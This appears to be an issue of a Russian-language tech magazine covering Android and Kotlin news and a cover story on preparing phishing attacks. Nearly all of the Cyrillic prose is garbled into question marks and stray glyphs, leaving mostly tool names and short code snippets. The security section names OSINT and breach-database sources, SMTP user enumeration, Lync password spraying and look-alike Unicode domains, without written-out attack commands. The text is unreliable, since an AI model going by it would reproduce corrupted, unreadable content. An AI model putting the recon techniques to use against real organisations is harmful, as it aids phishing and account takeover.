??�????� ??� ??????� ???� ???�??�???� Android� ??� ?????� ???�???,� ???� ?????�
?????�??�????�??� ???�????�??� ???� ??� ?????� ??????,� ????� ???� ??????�?,
Google�?????�???????�???�?�??????.
???�????�?燡etpack
WorkManager
???�?�??�????�??燡etpack�??�??�?�???�????��?????�?�????�??.�???�
?????� ???� ?� WorkManager,� ?� ????�??� ?????� ?� ?????� ????�??�??.� ??????�?
?� Android� ????� ???� ????????� ??????� ?????�???� ???????� ??????:� ???????
?????� (AsyncTask,� ???�????)� ?� ???�???.� ???�?????� ????�???????� ???�??
???????�?????,� ??????� ???� ??????�?� ??????�???� ??� ??????� ???�???�??,
??�??���??�????????�??�?????�??�???��??�?�?????�??�?.
???�?�?????�?�??�?�??�????,�??????��??�?????�??,�??�?�???,�??
???� ????� ??� ???�??� ?� ?????� ?????� ???�??�???�???� ???�????� ???????
????????.� Google� ???�???�?� JobScheduler,� ???�????�?� Android� 5,� ???????
???�?????�?????�??�???�?????�?�????�????��???????��???????�??�?,
???�?� ???� ?� iOS.� ???�???� ???� ???�????� ????�???� ?????�?????� (?� ?� Android
8�???�?�???��??????).
??� ???�????� JobScheduler� ????????� ???�??�????�?????,� ??????�?� ???
???�??�??�????�??�??�?�(Firebase燡obDispatcher),��????�??�?�??�???�
??:�?�?????�?�??,�??�??,�??�??�??�??燡obScheduler�?�?????�?,�???�
???� ???�???�?� ????????,� ????�???�???� Google� ???�??�?????� ??????�?
??�????�?????????�???燝oogle?�???��??�??燫xJava��???�?�???�?????�
??,��?�??�???????燡obScheduler��??�??�??�?�???�???�???.
???� Google� ?� ??????� ????????� ????� WorkManager� ?� ???�??�???
?�??????�???.�???�???????��???�??�??,�?燱orkManager��??�??????�
????�?�??�??�????�??�??�?燗ndroid�??�????�?,�??????�??�???�?�???
??????� ?????� ???????� ???�?� ?� ????�????�??� ?� ???�??� ????� ???�?,� ???�??
???�?????�???�??�?� ?� ???�??� ????�???� ?� ????�?� ??� ????????�?� ?� ???,
??� ?????� ???�??� ???� ???� ?????� ????????� (???�????�?� ???????� ???�??
????????�???,��?????�??�?�?�??�??燗ndroid).
WorkManager.getInstance().beginWith(firstWork)
�.then(secondWork)
�.then(thirdWork)
�.enqueue()
Android燗pp燘undle
???�???�??�??�??�????,�??�??�??�??�???�?�?燝oogle營/O,��??� App
Bundle�(??�??),�??�?�???�?????�???,�???�??燗ndroid燬tudio��???.�????�
?????,� ???� ?� ????� ????� ???�???�??,� ?� ???????� ??????�???� ???�??�??� ?????
???�??� ???�???� ?� ???�??� ???�?????�?,� ???�??�??� 150� ???�??,� ?� ???� ????
????�?�????�??�??�?????�??�??????�???�??�??.
???�?�??�????�???�??�??�???,�???�??�????�?�?????�???�??燽uild.?
gradle,� ???????� ???????� ??� ???� ????� ?� ???????� ???�?????� ????�????� APK
???� ???�??� ????�???,� ???�??????� ????�?,� ???�????� ????� ???�??.� ???
???� ????�???� ??� ??????�?� ????????� ?� Play� Store� (??� ???�?,� ?????� ????,� ??
???�??燿evops).��????�??�??�??�?�???,��??�???�???,�??�?�??�??
APK�??�??�???�?????�???��???�??�??�???�?????.
?� ??????� ????�????,� ???� ??� ????�?� ??????�??� �??�???� ???�???�??�
?�???�?�??�??�??�??????燗ndroid燬tudio�???�?�???�???�???�??�???
???�???燗AB.���??�??:�??�??�????,�???�?,�???�??????,�???�?�???�
??????��??,�??�???�?�??�?.�?�?????�??�???�???�燝oogle燩lay,��?
????� ????� ????�???� ?????�???�???:� Google� Play� ???� ???�????� ???� ??� ????�
???�??�??�??燗PK�??�??�??�???�??�???,�??�???�???�?��???�??.
??�??� ????,� ?� ???�??� ??????� Google� ???�???�?� ???�???� Dynamic� feature
modules� ?� ?� ??� ???????� ???�?� ???�?????� ???????� APK� ??� ???�?,� ???????
?????�?????�???�?�??�???�??????�?.�?�???�?,�????�???�??�??�????�
???,�???�???�??�?????�??�??�???�?�???�?�?????�???�?????�??
????�?????�??�??燗AB
AndroidX
??���??�?,�????�?�?,�?燗ndroidX.�????�?�??�????�????爏upport?????�
??????,� ???�??� ???� ?????�????� ?????� ???�???� ??� ??� ???�??� ??????�????,
???,�????�?,�???�?????�???�� ??�???�??�??�?��??????�??�??燾om.an?
droid.support:appcompat?v7,� support?v4� ?� ???�??� ?????� ???�?????,� ?????
??�??�??�??�??�?�????�???.
??�???��??�???�??�??�???�????�??�???�??�???�??�?????�??�???�
???:� androidx.�??,�??�???�??�?�燗PI�?????燗ndroid,�?????��?????� an?
droid,�???�??�??�??�???�??�????�?�??�??�??��燼ndroidx.�???:
android.support.**
android.databinding.**
android.arch.**
android.arch.persistence.room.**
???�?:
androidx.@
androidx.databinding.@
androidx.room.@
??????????
???燗ndroid�???�???�???�??�????
Drawn爋ut:爃ow燗ndroid爎enders�(Google營/O�18)��???�??�??�????��??�???�
???� ?� ???�???� ???�????�?� Android.� ????????� ????� ?� ?????�?� ??� ???�???
????,� ???� ?????�??� ?????�?� ??� ????� ?� ?????�??� ????�????� ????????�?
???�????��??�????�???????�??????�?��??�??�???�????��???.�????�
???�??�???:
? ????�??�??�???�?�?�???�??�??�???�?�????�??�????�?�??�?????
? ????�??�??�????�??�?�??�?�??�??�?�??�????��??�??�??�???�????�
???,� ??� ????� ?????�???� ???�?????� ?� ???�????� ???�??�?,� ?� ???�?� ????,
????�????�??????�??�??�???�???�??�??�?�??�??�??
? ??�??� ???� ???????�??� ???�??� ????� ???�??�???�???�?� ?� ???????� ?????�
???�?,�?????�???�燝PU,�???�??�??�??�???�???�?�??�????
? ??�??� ???�??� ????�??????� ???� ????�??�?� ???�????� ?????�??�????�?
?� ?????� ??� ????�???�??� ??� GPU� (??� ?????� ????� ???�??�?????� ???�??
??�???�???�??�?燝mail��??�??�???�????)?
? ?� ???????� GL???????� ?????�???�?� ????�??�?� ???�???� ????�??????,
???????�????�??�??�???�?�??????��???�???�??�??
? ??�??� ?� ????� ????�???� SurfaceFlinger,� ???????� ??????�?� ???� ???�?
????????�?燗ndroid��??�??�????.
?�??�??�?�???�?,�??�??�???�??�??�??????�?�??�???�???�?.��????
???�?� ????� ???�???� ?� ???�???�????� ??� ???�?� ???�??�?� ???�?� ????�?.
???????�??�??�??????.
?????�??�??�??�??�???????�?�???�??�???�??�???�??
??�?????�??燗ndroid燩
What?s爊ew爄n燗ndroid燫untime�(Google營/O�18)��??�???�???????�??�?????�
???�?燝oogle營/O,�??�????�??�???�???�???��??�?�??????�??燗ndroid燩.
???�????�??�???�???�???�??�???:
? Kotlin?
? ??�????
? ??�?????�??�???.
?燢otlin�??�??�?????�?????�?�???�?,�??�????�?�??�??�???��?????�??
null????�????��?????�???�??�???,�???�???�???�??�??��?????�??�???�
???�????.
???�?????�??�??�?�??�???�???�???�??�??.�?????�??,燙ompactDex�
???�????�??� ???�??�???� ???�??� ???????�??�?� ???�?� Dex� (?� ???� ???�??�?
???�??�???�??�??燗ndroid).�燗ndroid燩�??�??燙ompactDex�?????�???�?
???� ???�????� ?????�??�???� ??� APK� ????� ???�???�??,� ?� ???�?� ???� ???�????
????�??�???�??��??�????�??�?????.
?�???�??燙ompactDex�??�????�??�?????�??�??�??�???�???��?????
??????�???� ????� ???�???�??� ??� 11,6%.� ???� ????�???� ?� ???�???�??� ??????,
?� ???�????�??,� ??� ??� ????�???� ?????� ???�???�??,� ???�??????�?????�?
?????�??�???.
???�?� ?� Android� P� ???� ???�??�???�??�??� JIT????�??????,� ?� ???�??� ???
?????,� ??????�???�??� ??� ????�???�??� ???�?????�??� ???�??� ?� ???�????�??
??????,�??�?�????�??�??�?�?????�?????��??�??�??�??�????�??�????�
???�?????�??�???�???�??�?��?????�??�????�??�?????�??�??�?.�??�
???�?,�??�??????��???�??�??�??燗ndroid�?????�???�??�?????燡IT/AOT?
???�??????,�??????�??�???�????�???�??�???�??,�?????�??�??�????�??
??????,��???�????�?????�??�??�???�??��????�??�??�???�??.
???�??�???�??�???�??�?�???�??�????�?燗PK�燗ndroid燨
?燗ndroid燩
??��??????,�???????�??�???.�??�????�???�??,�?�???????�??�???.
??� ???�?� ???????�??� ??????� ???�???�??� Android� ????�?� ???�???� ???
???????�??.� ?� ???????� ?????� ???�???� ???�???�?� ???�?� ???????�??� �????�
???�??�?粻???�??�???�??��????�???�??�??�???.
????� ???�???� Cloud� Pro?les� ?� ???,� ???�?� ???�???� ???�??� ???�??�??�?
?�??�??�?????�??,�???�???�???�?��???�?????��??�???�??�燝oogle燩lay
?� ????� ???�???� ???�?� ???�??�??�?.� ???�?� ????�???????� ???�???� ???�????�
???,�?�??�?�??????�???�??�??�??�?,��??�???�??�??�?????�?????�??
???�???�????�????�?�??�???�??.��???�?????�??�???�????�????�??
?�??�????�????�?????�????.
??� ????�???�??� ???�???�???� Google� ???�???� ???????�?� ???�??�??�?
????�???�??��??�??�?�??�????�?�????�?�??�??�?��%.
???�?????�?�???????�??�???
?� ????� ???�?????�??� ???�???� ????�?� ???�???� ????�??�??� ??????:� ?� ?????�
???� ?� ???�??� ???�??�??�?� ??????� ????�?� 14%� ????� ???�???�??,� ?� ???� ????�
???,� ???� ??????�??� 86%,� ???�??� ???�?,� ????�?� ??� ??????�???�?.� ??� ???
??�??�?????�?�??�???�??,�??�????�???�??�???,�????�??�??�?�??�??
???�???� Android,� ???,� ???�????,� ???� ???????,� ?????�??�??� ?� ?????�??� ????�
???.
???�??�??�??�????�??????�?
App� Standby� Buckets� in� Android� P� will� help� further� improve� battery� life� ?� ??????
??�??�????�???�??�??�??�??�??燗ndroid燩�??�??�???�?燗pp燬tandby
Buckets.
???�??�????�????�?????:�燗ndroid�oogle�??�???�?�????�??�???�
????� ???�?????� ???�??�?� ???�???�??,� ???�??� ????�???�??.� ???�????� ???
??�???�??�??:� Doze�燗pp燬tandby.�?�??�?�???�??�???�??�?�(???�??�?
???)��???�???�??燚oze,�?�????�??�??????�?????????,�??�????�??�??
?� ????????,� ???�??� ???�??�?� (???� ???�?,� ???�?� ????�?????� ????�???
?�?????�???????�????),�????�????�???�?,�???�??�???�?�??�?�????�
????.
?�?�?�??�?�?????�?�??�???燗pp燬tandby.�??�?????�???�???�?????�
??�??�?�??????,�?��???�????�?????�?�??�??�??�???�??:�??�???,�??
??�???�????�?�???�???�?,��?�?????��?????�??�???�??�?�???????�
??��???��??.
???�???�?� ????????�??� ????� ???� ???�???,� ???�?� ???� ?� ??� ????�??,� ??� ?
Android燩燝oogle�???�???�?????�?�??�?????.�?????�???�???�?�???�?
?�???�?????�??牜??????�?�/�?�?????�?�,���????�??�???�??�??�????.
???�??�???�??�?????�??�???�???�?�???�?:
? ??�?????:�??�???�??�?????�???�?�??�???
? ??�????�??:�??�???�??�?????�???�?�??????�??
? ???�??:�??�???�??�?????�???�?�??�?,�?�?�??�??�????
? ???�??:�??�???�??�?????�???�?�???�???�?????�???�??�???.
?� ??????�??�?� ??� ???�???� ??????�??????� Android� ?????� ????????� ???�????�
????�??�?????�????�?.�????�??�??�??�???�??.
??????
Kotlin��??�??�?
Embedding� Kotlin� Playground� ?� ?� ????� ????�??� ?????????,� ???�??�???�???,
???� ?????�??� ???�?� ???????�??� Koltin� ?� ????�???�??� ????�???,� ???� ??� ???
??�??�?????.�??�??�??????�?�????.
??�???� ???�?,� ???� ?� Kotlin� ????� ???�????�??� ???????�?� ???�????�?,
?�??????�??????�??�?�?�???�?�????�?�???�????�?????,�?��?????
?????�??�??.
?????�????燢otlin�???�?燢otlin,�??????�燡ava
Run燢otlin燬cripts�(kts)爁rom爎egular燢otlin燩rograms.�???�????��??�???�??
Kotlin� ?????� ????� ?????�???� ?� ??????� ?????�????� (????�??�???�???� ????
?� .kts� ?� ????�??�???� ???� kotlinc).� ????� ?????� 2:� Java� ???�????�???
???????�??�?�????�?????�??�???�(JSR?223).�???�????��?�???�????
Kotlin�??�?????�???�燡VM�(Java)��??�???�?�??�?�??�?�???�???.
??� ?� ????� ??????� ?� ???,� ???� ???� ???� ???�?????� ????????� ????�?� ?� ???�???
??� Kotlin� ???�???�??,� ???�??�????�????� ??????�?� ???�?� ???�?????
?� ???????� ?????�??� ??� Kotlin.� ???�?????� ?????� ?????�??� Kotlin� ??� Kotlin
?????�??:
with(ScriptEngineManager().getEngineByExtension("kts"))爗
牋爀val("val爔��)
牋爒al爎es2�爀val("x�+�)
牋燼ssertEquals(5,爎es2)
}
???�??�????��?????�????燢tsRunner.
Kotlin燙heat燬heet
Kotlin燙heat燬heet��???�??�????�??�??�??��??�?燢otlin,�??????�??�?
????????� ??� ????�?� ?� ????????� ???�??� ????� ?� ?????�????� ???�????� ?????
????.� ???�?????�?:� ???????� ???�?????,� ???????�???� ?????�???� (????�??
???�?????� �????�????粻 Kotlin),� ????� ???�??� ?� ???�????�??,� ???�??,� ????�
???� ????� ???�???,� ???�???????�??????,� ???�??�????�??� ??????�??.
?�????�??�?�??�??�???�?�??�?�?�???�???�????.
Kotlin� Cheat� Sheet� ?� ?� ???� ????� Kotlin� Cheat� Sheet,� ?????� ???�??,� ?????�
???�??�????�??�?�??�????��??�???�?????�?.
???�??�???�燗nko
Anko� Commons� Tutorial� ?� ?� ???�????�????� Kotlin� ????� ????� ????� ???????�
??????,�????�???�??�??�??�??�??.�?�????�??燗nko��???�???��???
???�??�??� ???�?????� ???�??� ?� ???�???,� ?� ?� ???� ???�?� ???�??�?????� DSL
(????� ?� ???�?),� ???�???�???� ?� ???�?????� ???�?????� ?????????� ???� XML
?�??????�??�?�(?????�?????��??�??????�??????�???�?�???????�???�
????�??).
???� ?????� ??????� ???�?????� ????�?� ???�?� Anko� Commons,� ???�??� ????
????�???�??�???�??�??�??�??�??燗ndroid????�????�????.�?��??�?�???�
????�?�??�????.
????�????�???�?????????�?�???�??�????????�???
val爄ntent�營ntent(this,燗nimeDetailActivity::class.java)
intent.putExtra("TITLE_KEY",燼nime.name)
intent.putExtra("DESCRIPTION_KEY",燼nime.description)
intent.putExtra("IMDB_LINK_KEY",燼nime.imdbLink)
intent.putExtra("IMAGE_KEY",燼nime.imageDrawable)
startActivity(intent)
????�??�??�??�?,�??�????燗nko:
private爁un爋penDetailActivity(anime:燗nime)爗
爏tartActivity<AnimeDetailActivity>(
牋牋�"TITLE_KEY"爐o燼nime.name,
牋牋�"DESCRIPTION_KEY"爐o燼nime.description,
牋牋�"IMDB_LINK_KEY"爐o燼nime.imdbLink,
牋牋�"IMAGE_KEY"爐o燼nime.imageDrawable
牋�)
}
??� ?????� ???,� ????� ????� ??????� ???�???� ??� ???�?� ????�?,� ??� ???�?� ????�?
???�???�??:
startActivity<AboutActivity>()
?�??�??�??�??�??????
makeCall(002)
??�??�???�??:
sendSMS(?????,�????)
??��???�??????�???�????:
toast("?�????????")
??�??�????�????
alert("message",�"title").show()
??�??�?�?,�??�??�?�??�?????,�???????�??�??��??�??.
??�?�????��????�?????,�???�??????????��??�?�??�??.�???�?,
??????�??????�????�??�???,�??�????�??�???�????�??�????�???�??�????�
???�???�???��??.
???�????�?
? androidexample365.com��???????�??????�??�??�????�????�????�??
???�???�??�???�燗ndroid?
? restring� ?� ????�??� ?� ??????�??????� ???�????�?,� ???�???�???� ???�???
????�?� ???�???�??� ??� ???�??�??� ???�???� ?� ????�???�??�?� ???�?????� ??
?�??�???�???
? palumu� ?� ???�????�?,� ???�???�???� ???�???� ???�??�?� ????????�?� ????�
?????�??
? PersistantRecyclerAdapter� ?� RecyclerView� Adapter,� ???�??�??� ???�?????
???�??�??�?�??????�???�??�???�?????��???????�???
? Cicerone� ?� ???�??�??� ?????�?� ???�???� ??????,� ???�??�??� ?????????
???????�??�?????�??�??�?�??�????�???�??�???�??�(????�???�?�?
????�???�??)?
? Flashbar��????�??�????�??�????�?�??�?????�?�????�????�??�??
?????� ????�????,� ???????� ??� ??????�??� Toast� ?� Snackbar� ?� ?????�????
???�??�????�?�???�???�?�???�??�??�???�??
? TlsLibrary�燢otlin燚SL�(????��??�?)�??�??�????燭LS????�??�?????
? nanoscope� ?� ???�???� ????�????�?� ?� ?????� ???�??� ????�????
(~20�?????�???�?�???�????�?燦exus�?
? icondialoglib� ?� ??????,� ???�???�???� ???�???� ????�?,� ??� ????� ?� ???�??
???????�??
? domic��???�?????�??�???�?????�燚OM燗ndroid?
? android?ruler?picker��????�?�??�?????�??�??�??�?????
? UCE?Handler� ?� ???�????�?,� ?????�?????�???� ???????�??� ?� ??????
???????�??�???�??��?????�??�??????�???�??�???��??�????????
????�??????�??�????�???�??�???�?.
??��??�?燯CE
???????????
? dere?ector��?????燜rida�??�????�?????燡ava?????�(????�??????�???�
?????�??????�??????��??�??)?
? Fantastic燤alware燼nd燱here爐o燜ind燭hem��???�??�??????�???�??�???�
???�?????�??�???�(?�??�????!).
COVERSTORY
??????????
?????????
?????????�???????,
??????��??????????�??
?????????????????
????????????
???????�????
Web燬ec燱arrior
??�??�?�??�???�??�???�??�??�???�????,�??�??�????�
????�????�??�??�?????�??��???�??�?�??�?�????�????
????�??� ?????,� ?� ???� ??� ???� ???�???�???� ????????�?� ??
?� ???�??� ?????� ??� ???�???� ???????�????.� ?� ???�??�?� ????
?�??�????,�??????�???��??,���??�???�?????�??�?????,
???????��????�???��??????�??�??�??.
?� ?????,� ??� ????�??�??�?� ????�??�??� ????�????� ????????� ??� ???�????�?.
?� ???�???�?� APT?????�??????� ?� ??� ???�???�?� ???�????�?,� ???�???????�
??????�?�??�?,�?��??,�??�??�??�?,�??�???�?�???�??��????�??:燙ar?
banak,燘uhtrap,燘lackOasis,燝HOUL��?�??�???�?�????�???�?????�?????
??�??�?.
WWW
???�??�??�????�????�??�??�?燜inFisher:�???�
??燤itM�?�???�?�??�??�????
?Carbanak�(Wikipedia)
?BlackOasis燗PT燼nd爊ew爐argeted燼ttacks爈everag?
ing爖ero?day爀xploit
?�?????�????� ???�??�??�?粻 ????�???�?� ????�
?????�
?????�??�??�?,�
???�????�??
?�??????�?????�?�??�????�???�?
?Kaspersky� exposes� apparent� Russian� cyber?espi?
onage爋peration燼mid燯.S.燾riticism
????�???????????
???�?�?????�???�??�?��????�????,�??�??�????�??�?�??�???�?,�??�?
???�??�?�???�???�????�???�???�??�?????�??.�????�??�???�?�????:
? ???�???????� ???� ???�???� ??????� ???�??� ?????�???�??� ??� ????�??�?
(CERT,燬OC)?
? ???�???�???�??�???????�??�????�???
? ???�??�??�??�??�??�????????�??,�????�???��???�???�?.
?�????�?�???�??�???�???�?????�????�??�?????�?��??,�??�?�?????,
???� ????�?????�?� ?????�???� ??� ?????�????� ???�????,� ??� ??????�???�??
???� ???�?� ???�???�?.� ??????,� ???� ???�?� ?????� ???�????� ?????�??� ???�??
???�??�?????� ????�???,� ?????� ?� ???,� ???� ??????�??� ???�???.� ???� ????????
?????�???,�???�??�????�??�?????�??�???,�??�???�??�???�??�????.
??� ???� ?� ?????� ???�??� ???�??�??????� ?????�???� ????�?� ?????�???�???
??????�????� ???�?� ?� ??� ????�??� ????�?????�??.� ???� ???� ???�?� ????�????�
????� ?????�??� ?????�?� ?� ????????,� ?????� ????� ??� ????�???�?.� ?� ???????�
???�?�?�??�??�?�????�???�?????,�??�??�?????�???�?????�??�????.
?� ???�?� ????� ?????�??� ?????� ??� ???,� ???�?� ??� ???�?????�?� ????�?� ?????�
??????�??,�?�???�?�??�?�????�???�?,�?????�??�???,�??�?�??�????
??�??�???�???.�?�???�??�??�?�?????�?�???�?�??�?????�???�??�???�
?????�??,�?��??�??�???????�????????�??,�?�???�?�?????�?�??????�
???�??????�??�???�?????�??,�??????�????�??�???�??�???��??�????
???????�????,� ???�????� ???�????�??,� ????�??�??�??�??� ?????� ???� ?????�
???���????,�???,�??�?�??�??��?.��??�???�?�???�?�?:��????�???
??�??�???��???�???�??�??�??�????��??�???.
???�?�??�?�??�???,�??�???�???�?�?�?�????,�??��??�?????�???�
????�????�??.�??�??�???�??��???????�??????�???�??�???�?????�??
?� ???�???� ???�?,� ?????� ??� ????�?????� ??????????�???� ????�???�??,� ???�?,
???�????,�???????�??�????�????�??�??????�??.�??�??�?�??�?�???
??????,� ???� ???�??�????� ????�???????:� ??????� ??� ???�????,� ?� ?????� ???�?,
?????� ?� ????� ??� ?� ???�???� ?� ?� ?????,� ???,� ???� ?????� ??????� ?????�???
?????�???�???�???.
???� ???�??� ???�???� ?� ???�?????� ???�??� ?� ???� ?????� ????� ???�?????
???????�??????�????.�??�??�?�??�?,�??��??�???�????�?,�??�?�???�
??????�????�????�???�?�??�??�???�?�??????�???�??�???�?????�?.
??????�?????????
??�??�??�?� ???�???�?� ???????� ??????�???,� ???????� ?????�?� ??� ???� ???�?:
????�?????�?????�???��???�??.�???�?????�???�???�???�????�??�???
???????�???,� ????� ????� ???????�?� ????�?� ????.� ?� ????�???� ???�???
????????�??� ?????� ???�??:� ???�????� ????�???�??,� ???????� ?� ???�??� ????�
??????�??????�??.
???�?� ???� ??� ?????�?� ?� ???�????.� ????� ??� ????????�?� ?� ????� ????�???
??????�???,�?�?????,�??�????,�??�?????�???�?�?�??�?�???????�???�
???�??� ????�???�??� ?� ?????�??� ???�??????� ?????�?� ??� ???�?,� ??????� ????�
?????� ???� ?????�?� ??� ????�?.� ?,� ????�?,� ?????� ???�????� ??� ?????� ???�?
?????�?�??�??�?????�????�????.�??�?�?�???????,�??�?�??�??�?�????�
??�??�????�??�???�??�????��?�??�?????�?�??�?�??�????�???????�
???� ?� ???�????:� ????�?� email� ???�????�??,� ????�??????�??� ??????�??,
?????�???�??�????��??�??�????�??�???.
??�?�?????�?????�?????�???�????�?�?????�???,�??�??�??????�??
???�?�?????��????�???.�??�??�????�??�??�?�??�?????��???�???�?
???�????�??�??�??�????.
????????:�????????�???
???�??� ???� ????�???�???�??�???� ???�?� ???????�??� ????�?� ????????
???????�??��??�??�?�?�????�?�??�???�?????�??�?.�)�??�??�???�?
?????�??� ?????�???:� SpiderFoot,� intrigue� core,� DataSploit,� Maltego,
theHarvester.�?�???�???�??�?�??�???�???�?�??�???�???�??�?????�???
???�?????��??�???�??�????.
???� ????� ?� ???�??� ???�???�?� ???�??,� ?????�??� ???�?� ?????�????.� ???�?
???:� SimplyEmail,� ePochta� Extractor� ?� FOCA.� ??� ???�???� ???�?� ????� ???�???,
???� SimplyEmail� ??????� ??????�??�????� ????� ?� ??????� ??� ???� ?� ????�?
email?????�??.� FOCA� ??� ??????�?� ?????�?????�???� ?� ???�??� ???�???�?????
???�??� ???????�?� ??� ????�????� ???�??� ?� ???�??� ?????�???,� ??????� ????�?
?�??�??�??????�??.
???�?�???,�????�?�??�????��????�?�???�?????????�???�????�???,
???�??�???�??�??�????.�??�???�??燚NS,�??�??�?????,�???�?,�????
??????�???�?營P,��??�????.�???�???�??�??�??�??�??�?�??�??�???????�
????�?� osintframework.com.�??�???�??�??�??�???,�??��???�??�?�????�
?????:
? Whois燞istory?
? pentest?tools.com,燿nsdumpster.com?
? dnsmap,爇nock.py,爏ublist3r,爏ublazerwlst.
???�?�?????�????�???�?�???��??�??�???�??�??�????:�?,牜?????????�
???�?�,� Facebook,� LinkedIn� ?� ???�??.� ???� ???� ???�???�?� ???�???� ???�?
??????,� ??� ??????�?� ??� ?� ?????� ??????.� ???� ???�????� ?????�??�?� ???�??
???�???.�??�????,爈inkedin_pro?les.py�� corpint,�??�?�??�????�?????�????
aleph燿ata,�??�??�?�??�??�??�??�???�??????�??�?�???�??�??�????.
??� ???�?� ????�???� ???�???????� ?????�???� ?� ??� Instagram� ?� ??,� ???� ????�
?????� ?????� ??� ?????�????.� ????� ??� ???�?� ???�??,� ???� ???�?????�?� ????�
?????,� ??� ??????� ???�??????� ?????�????,� ???????� ????�?� ???�????�?
??�??�?�??????�??�?.�??�????,�?????�???�??�?��???�???�??????�
???,� ?� ??� ???� ?� ????�?????� ??????� ?� ???�????� ????�?,� ????�?� ????�???.
????� ???�??� ?� ???�??� Outlook� ?????� ???�???�?� ?????� ???�??� (??� ????� ?
????).�???�?��??�?�???�??��??,�??�??�????�?�?�??�????�????�???
??????,�?,�??�??,�?�??�???�???�???��?????�?�????�??.
??�??�?� ????�?� ?� ???�???�?????� ???�?� ?� �??�??�?�.� ???�?� ???�????
??�???�?????�??�?????�????�?????????�??�?牜???�???�???�???�燜ace?
book,�??�???�?�?�???��??�???????,�??????�??�.�????�???�????�???
???�?????�???�????�???,�??�??????�?????�?��??�????.
???�?�??�?,�????�??�?�???????�????�?�??�?� databases.today:� mmn?
t.ru,� ftplike.com,� metabot.ru,� rapid?search?engine.com,� alluc.ee��??�????.�??
???�?� ???�?� ???�??� ????� ???�??� ?� ??????� ????�?� ??????�?.� ??� ?� ?????�?,
????� ????� ?????�???� leakedsource.ru,� ???� ??????�???� ????�??� ????� ???�??.
????�?,� ??� ???� ???�?� ???� ???�???�?� ????�??� ???????.� ????� ??????� ???�?� ?
?�????�??�???�???,�??爓eleakinfo.com.�??�??�?�??�???�????�?�??�?
?� ???�?� ????�?� ?� ????�????�???� ??????� (??� ????� ???� ????�?� ????????� ????�
????�??�??�????),�??�???�??�?�???�??�?????�??�?????�??.
??�?��??�????牜?????�??粻??????�?�??????�????��??�???�???�??�??�?
??????� ???�?� ??????�??�?,� ??� ????�?� ???,� ???� ??????� ????�???� ??????�???
???�????�?�???�?????�(?�??�??????�????�???,�????�?),�?????�??�?????
????�??� ??????� ???�????� ?� ???�?� ???�?� ?� ???� ???�?� ?� ???�?????� ????�?
?�???�????�?�???�?.�??�?�???�?�?????�???�??�???�???.
????????:�???????�???
???�?�???�??,�????�?�???�???�??�???�?�??�????�??��????�????�???
???�????.�??�?��???�?�??�????�???????�??,�??�??�??�??�????�?
??�??�?�??�????�??�???�???�???�???�?.�?��????�?,��??�??�??�???�
???� ???�??�??�?� ???� ??????�?� ?????�????� ?� ???�?� ???�?� ???�?� ????????
?????�????,� ????� ???�????�?� ???�???�?� ???????�?.� ???� ?� ???�?� ???�???
?????� ????�?????�?� ?????�??� ???????�??� ???� ?????�?????� ???????�??
?� ???�????,� ????????�??� ???�??�??� ???�?.� ?� ???,� ????�?,� ??????�???
?????�????,�??�??�??��??�?,��??�??�???�??�??�???.
????�?�??�??�??�??,�??????�???�?�??�????,��??燝oogle�(??.�?????
�?�???�???�???�????�???�??�???燝oogle,�??�?�??�?�??�????�).�??�?
????� ???�????�?� ???�???� ?� ???�???� ???� ??????�?� ?????�????:� DIRB,
dirsearch,爁uzz.txt��??�????.
?� ???�?� ???� ???�?????� ?� ???�???�????�??� ??????�???� ??� ???????� email
???�??�?� ??????�???� ??� SMTP,� ???�????� ???� ??????� smtp?user?enum.pl.
??� ???�?� ????� ???�???,� ???� ?????�?� VRFY� ?� EXPN� ???�?� ????�?� ?????�???,
??????�?�???�?燫CPT.�??�????�???�?�??�??,�?�??�?�????�??�???????�
???�??� ????�?:� ????� ?????� ????� ??� 1000� ????� ?� 9000� ???????� ?� ????�???
???�???� ??� ???.� ??� ???� ???�??� ??????�????� ???????�??� ???�???� ?� ???�???.
????,�??�???�?�??????�??��??�?????�?,�??�????�?�??�?�?�0%.�??
??????�?�??�?.
??�?�?�??�???�????,�??��??�??????�??�???�??�?????�???�?�??�??
???�?�??�?,�?�???�??�???�??�??�???��??�???�???.�??�??�??�??爊,
i,� p,� e,� k,� m� ?� ???� ?????� ?� ?????�?� ???�????� ???�??????�??�????,� ???� ????�
???�燼,爀,爉,燿,爕,爋,爊,爐,爒?�00�??????�???�????�?�??�?��??�?????�
??�??�???�??�????�????�??�??????�??.
???�??� ???�??� ????�?� ?� ??????�?� ???�???�?????� ???�???� ???????
??� ???�???,� ?????�??� ????�????� ??.� ???� ?????� ???�??� ?????,� ???????� ????
???�?� ???�??,� ?� ?????�?� ???�?� ?????� ??????�?????� ???�???�??� ????
???????.
???�?�???�??�???,�??,�?????燬MTP,�????�??�?�????�??�?,�??燣ync
(???�??�??�?????�???燬kype爁or燘usiness),���??�???燗PI,�?�??????�???
???????�??�?�?????�?????�???�??�?????�???�?????�??�(??.�?????爈ync?
smash.py).� ?????�???�?� ?� ???�??� ????�?????� ???�??????�??� ???�???,
???????�??�?�??�?�?�??�??????.
??????????? ??????
?
? �?????�?????
COVERSTORY
??????????
?????????
?????????�???????,�?????
?�??????????�??�????????????????
????????????
?????
?�???????�?????�???�?????�??�?�??�???�????�????�????��?�????�
??�????�??�??�??�????,�??��??�??�????�??�?????�??�?�??�??�???
???�????.� ???� ???�?� ????� ???�???� URLCrazy,� ??� ???� ??� ???�?� ??????� ??????�
???????�??�?????�(??????,��??????�??�?�?????�?????燯nicode),��??
CATPHISH�??�?.�?????�??�?,��?????�??�??�?????�????燿nstwist.
?� ?????�??�???� ?????� ???????,� ????�?,� ????� ????�???:� ???�?� ?� ???�????
????????� ???�????� Unicode� ????�?� ????� ???�?,� ???� ?????�??� ?????�??�???
????�???�?� ???� ?� ???�???�?� ????????� ??� Unicode� ???� ???�???.� ?� ?????
?????� ???� ???�?� ????�??????�?,� ??????� ???� ???�?????� ???�???�???� ????�
?????� ??� ???� ???�?,� ?� ????�????� ???�??� ???????� ?� ?????� ?� ????�?� ?????�?
????�???.� ??� ???� ?????�??�????,� ?� ??????�?� ?� ????� ????,� ?????�???�??,
???????�??�????�?????�???�??�??,��??燝oDaddy.
???�?��??�????,�??�??�??�??�????�??�???�??�??爌unycode��???�
?????�????� ???�??�??� ???????� ?� ????� ASCII� (??� ?????�???� ?????�??� ???
??????�??� ????� xn??).� ???� ???,� ????�?????,� ???� Outlook� 2013,� 2015� ?� 2016,
?� ???�?� The� Bat� ????�?� ???� ??????�???� Unicode,� ???�?� ??� ????�?????�?� ???
??????�??�???.�營BM燦otes,燭hunderbird,燤ail�?燱indows��爉acOS�燱eb
Outlook�????,��?????�??,�?�??�???�?.
